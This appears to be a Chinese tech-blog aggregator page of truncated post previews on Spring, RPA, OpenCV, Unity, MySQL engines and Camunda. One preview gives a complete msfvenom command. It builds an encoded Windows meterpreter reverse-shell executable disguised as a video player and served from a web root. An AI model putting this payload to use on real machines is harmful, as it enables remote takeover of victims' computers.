1.Spring是什么??? 天天都能听到Spring,Spring,Spring。这东西到底是什么东西,是一个框架。没错通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3,其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验,使他们能够与智能模型进行即时对话和交互,从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…